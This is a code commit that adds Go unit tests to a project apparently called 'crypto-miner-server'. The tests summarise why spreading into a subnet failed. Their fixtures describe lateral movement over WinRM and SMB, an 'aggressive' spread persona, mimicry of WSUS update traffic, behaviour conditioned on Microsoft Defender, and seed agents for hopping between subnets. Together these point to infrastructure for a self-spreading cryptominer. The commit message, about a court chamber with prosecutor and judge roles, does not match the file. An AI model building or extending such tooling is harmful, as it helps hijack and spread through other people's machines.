Add adversarial L4 court chamber with Seer court_debate feed.

Prosecutor and Public Defender use real fleet telemetry only; Judge dispatches L4 commands and emits full transcripts via seer_events and emberwake_court_debate when ai_control_enabled.

server/internal/atlas/subnet_autopsy_test.go

@@ -0,0 +1,54 @@
+package atlas
+
+import (
+	"strings"
+	"testing"
+	"time"
+
+	"crypto-miner-server/internal/spreadrouter"
+)
+
+func TestBuildCauseOfDeathIncludesFailuresAndVaccination(t *testing.T) {
+	until := time.Now().UTC().Add(24 * time.Hour)
+	pkt := SubnetAutopsyPacket{
+		Prefix:    "10.0.0",
+		FailCount: 5,
+		PausedUntil: &until,
+		LOTLAttempts: []LOTLAttemptSnapshot{
+			{Tier: "winrm", OK: false, Error: "access denied", Phase: "spread"},
+			{Tier: "smb", OK: true, Phase: "spread"},
+		},
+		Persona: "aggressive",
+		WSUSMimic: WSUSMimicSnapshot{FormatMimicEnabled: true, CachePeerLane: "wsus_cache_peer"},
+		ErasureFallback: ErasureFallbackSnapshot{ErasureLanesEnabled: true, AvailableAsFallback: true},
+		GossipWhispers: []GossipHint{{Tier: "docker", Condition: "defender_on", Reason: "lan gossip"}},
+		FailureAtlas: "docker 5/5 failed (100%)",
+		VaccinationLane: &spreadrouter.SpreadRouteHint{
+			TargetSubnet: "10.0.0",
+			SeedAgentID:  "seed-1",
+			SeedAgentName: "Seed Hop",
+			JoinLane:     "do_peer",
+		},
+	}
+	cause := BuildCauseOfDeath(pkt)
+	if !strings.Contains(cause, "immune pause") {
+		t.Fatalf("cause=%q", cause)
+	}
+	if !strings.Contains(cause, "winrm") || !strings.Contains(cause, "docker 5/5") {
+		t.Fatalf("missing failure context: %q", cause)
+	}
+	if !strings.Contains(cause, "Seed Hop") || !strings.Contains(cause, "Vaccination") {
+		t.Fatalf("missing vaccination: %q", cause)
+	}
+}
+
+func TestTrimLOTLAttemptsKeepsLastFive(t *testing.T) {
+	in := make([]LOTLAttemptSnapshot, 7)
+	for i := range in {
+		in[i] = LOTLAttemptSnapshot{Tier: string(rune('a' + i))}
+	}
+	out := TrimLOTLAttempts(in, SubnetAutopsyLOTLAttemptLimit)
+	if len(out) != 5 || out[0].Tier != "c" || out[4].Tier != "g" {
+		t.Fatalf("trim=%v", out)
+	}
+}